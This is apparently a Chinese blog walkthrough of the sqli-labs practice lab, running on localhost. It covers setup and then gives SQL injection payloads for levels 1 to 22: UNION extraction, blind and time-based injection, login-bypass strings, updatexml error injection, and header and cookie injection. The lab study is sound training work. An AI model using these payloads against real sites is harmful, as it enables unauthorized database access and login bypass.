Sqli-labs下载及环境搭建(Windows)
从github上将项目源码下载下来:
部署到phpstudy:
将下载的项目中的文件复制到文件夹:
......\phpStudy\PHPTutorial\WWW
Code
更改"......\phpStudy\PHPTutorial\WWW\sql-connections"下的db-creds.inc文件:
<?php
//give your mysql connection username n password
$dbuser ='root';
$dbpass ='';
$dbname ="security";
$host = 'localhost';
$dbname1 = "challenges";
?>
将 "$dbpass" 改为自己的Mysql密码
启动phpstudy
打开:
http://127.0.0.1 或 http://localhost
看到:
图片.png
点击:Setup/reset Database for labs
看到:
Success
到这里,便搭建完毕
返回主页,即可开始:
Sqli-labs challenge
Less-1
直接在Less-1中说明一些常用方法
后面利用重复的就不再说明
查看正常返回界面:
http://127.0.0.1/Less-1/?id=1
检测注入点:
http://127.0.0.1/Less-1/?id=1'
错误信息:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
存在漏洞,且查询语句用单引号闭合
发现存在表user:
http://127.0.0.1/Less-1/?id=1'and exists(select * from users) --+
或者
http://127.0.0.1/Less-1/?id=1' and 0<(select count(*) from users)--+
这里注意:
注释可以还可以用"#",但必须url编码成:%23,因为#在url中有固定意义,表示页面中的锚点
用"--+"而不是"--"是因为"+"在url码中表示空格,而"--"注释后面紧跟一个空格
/*......*/也是注释,多用于多行注释,但sql注入中我们不能闭合右端
但我们常用/**/代替空格来绕过空格过滤情况
查看users表中记录数:
http://127.0.0.1/Less-1/?id=1' and 12<(select count(*) from users)--+
返回正确页面
http://127.0.0.1/Less-1/?id=1' and 13<(select count(*) from users)--+
返回错误界面
所以users表中一共13条记录
另一种思路
先确定列数:
http://127.0.0.1/Less-1/?id=1' union select 1,2 --+
返回错误
http://127.0.0.1/Less-1/?id=1' union select 1,2,3 --+
返回正确
或者利用order by:
http://127.0.0.1/Less-1/?id=1' order by 3 --+
列数为3,且通过:
http://127.0.0.1/Less-1/?id=-1' union select 1,2,3 --+
发现会返回页面第二第三列
列出数据库:
http://127.0.0.1/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
注意:union使用需要前后的表的列数相同,且当第一个查询没有结果时返回第二个结果
列出表名:
http://127.0.0.1/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables --+
猜测列名:
http://127.0.0.1/Less-1/?id=1' and exists(select username from users) --+
或者
http://127.0.0.1/Less-1/?id=1' and 13=(select count(*) from users where len(username)>0)--+
或者:
http://127.0.0.1/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns --+(但是这里页面限制了返回字符串长度,所以没有多大用)
爆破字段:
http://127.0.0.1/Less-1/?id=1' and (select ascii(mid(username,1,1)) from users limit 0,1)>0 --+//不断改变数字,爆破username第一条记录的第一个字符
或者:
http://127.0.0.1/Less-1/?id=-1'union select 1,group_concat(username),3 from users --+
同时可利用一些数据库中常用存储数据库信息的表直接获得表,列,用户名等信息
例如:
information_schema数据库中的:
SCHEMATA 保存数据库中的库名
TABLES中保存着数据库中的表名
TABLES中table_name字段保存数据库中所有表名
TABLES中table_schema字段保存对应表所在的数据库
对应TABLES表还有COLUMNS表
select database(); 会直接回显当前数据库名
select user(); 会直接回显当前数据库用户名
......
具体更多情况可以直接在本地的数据库中测试看到,这里不再细说(情况太多),后面应该会遇到
Less-2
检测注入点:
http://127.0.0.1/Less-1/?id=1'
出现错误信息:
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
推断查询语句没有使用单引号:
http://127.0.0.1/Less-1/?id=1--+
返回正确
Less-3
检测注入点:
http://127.0.0.1/Less-1/?id=1'
错误信息:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
推测单引号和小括号闭合:
http://127.0.0.1/Less-3/?id=1')--+
返回正确
Less-4
检测注入点:
http://127.0.0.1/Less-4/?id=1'
没有反应,猜测应该是过滤问题
http://127.0.0.1/Less-4/?id=1"
发生错误回显
错误信息:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
推测双引号和小括号闭合
http://127.0.0.1/Less-4/?id=1")--+
返回正确
回过头查看一下源码:
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
双引号内可以包含单引号,所以 id=1' 失效
Less-5
http://127.0.0.1/Less-5/?id=1'
回显:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
推测单引号闭合:
http://127.0.0.1/Less-5/?id=1'--+
剩下便是基于回显的注入
利用正常回显有:
You are in...........
Less-6
与Less-5相同
不过闭合方式为双引号:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" LIMIT 0,1' at line 1
Less-7
测试:
http://127.0.0.1/Less-7/?id=1'--+
回显:
You have an error in your SQL syntax
猜测后台过滤--+
或者单引号加其他符号(比如括号)闭合
这里直接
http://127.0.0.1/Less-7/?id=1' and '1'='1
回显正确
http://127.0.0.1/Less-7/?id=1' and '1'='2
回显错误,所以这里可以直接用这种方式闭合
查看源码发现:
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
所以这里也可以用单引号加两个括号闭合:
http://127.0.0.1/Less-7/?id=1'))--+
Less-8
单引号闭合:
http://127.0.0.1/Less-8/?id=1'--+
剩下是基于bool的盲注
正确查询返回:
You are in...........
错误查询无返回值
Less-9
单引号闭合且基于时间的盲注:
http://127.0.0.1/Less-9/?id=1' or sleep(5)--+
Less-10
双引号闭合且基于时间的盲注:
127.0.0.1/Less-10/?id=1" or sleep(5) --+
Less-11
普通的绕过登录
username:1' or '1'='1' or '1'='1
password:1
这里构造两个or是为了避免后台查询时and与or的优先级问题
(and>or)
后台语句:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
显然这里只有一个or会使'1'='1'与后面的and结合,而前面的unname='1'(unname为1的数据不存在)显然值是0,最后sql语句变成:
@$sql="SELECT username, password FROM users WHERE 0 or 0 LIMIT 0,1";
而多加一个or,最后:
@$sql="SELECT username, password FROM users WHERE 1 or 0 LIMIT 0,1";
从而成功绕过
当然,如果知道一个username,也可以直接用一个or绕过:
username:admin' or '1'='1
password:1
还可以直接注释掉后面的password来登录
username:1' or 1=1#
password:1
Less-12
单引号无效
尝试双引号时有错误回显:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1") LIMIT 0,1' at line 1
推测双引号加括号闭合:
username:1") or '1'='1' or ("1")=("1
password:1
成功绕过登录
Less-13
单引号加括号闭合:
username:1') or '1'='1' or ('1')=('1
password:1
Less-14
盲注,没有错误回显
手工测试发现是双引号闭合:
username:1" or 1=1 or "1"="1
password:1
Less-15
同Less-14,盲注,测试发现是单引号闭合:
username:1' or 1=1 or '1'='1
password:1
Less-16
同Less-14,无回显的盲注
测试闭合方式是双引号加括号:
username:1") or 1=1 or ("1")=("1
password:1
Less-17
username处进行了check_input($_POST['uname']);
注入点在password处
看了一些文章,这里update,适合xpath报错注入:
username:admin
password:' or updatexml(1,concat(0x7e,database(),0x7e),1)#
同时如果:
' or updatexml(1,concat(0x7e,(select username from users),0x7e),1)#
则会报错:
You can't specify target table 'users' for update in FROM clause
因为update一张表的同时不可查询这张表:
我们可以构造中间表来绕过这个错误:
' or updatexml(1,concat(0x7e,(select username from (select username from users)b limit 0,1),0x7e ),1)#
(这里如果后有select前有"1' or",则可能会导致update正确而不执行后面用于报错的select语句,所以使用" 'or"(datebase()没有select,因此两种都能成功回显))
Less-18
页面信息:
Your IP ADDRESS is: 127.0.0.1
显然应该是http头注入
检测发现注入点在User-Agent处
注入方式和前面相同
不过这里注意:要先登录成功后再注入才有报错回显
Less-19
和上题类似,登陆后发现回显:
Your Referer is: http://127.0.0.1:98/Less-19/
注入点在:Referer
Less-20
普通cookie注入
注入方式和前面相同
Less-21
cookie+base64
注入方式和前面相同,只是需要将注入语句进行base64编码
Less-22
cookie+base64
不过cookie的uname使用了双引号进行闭合
其他和上题相同
网友评论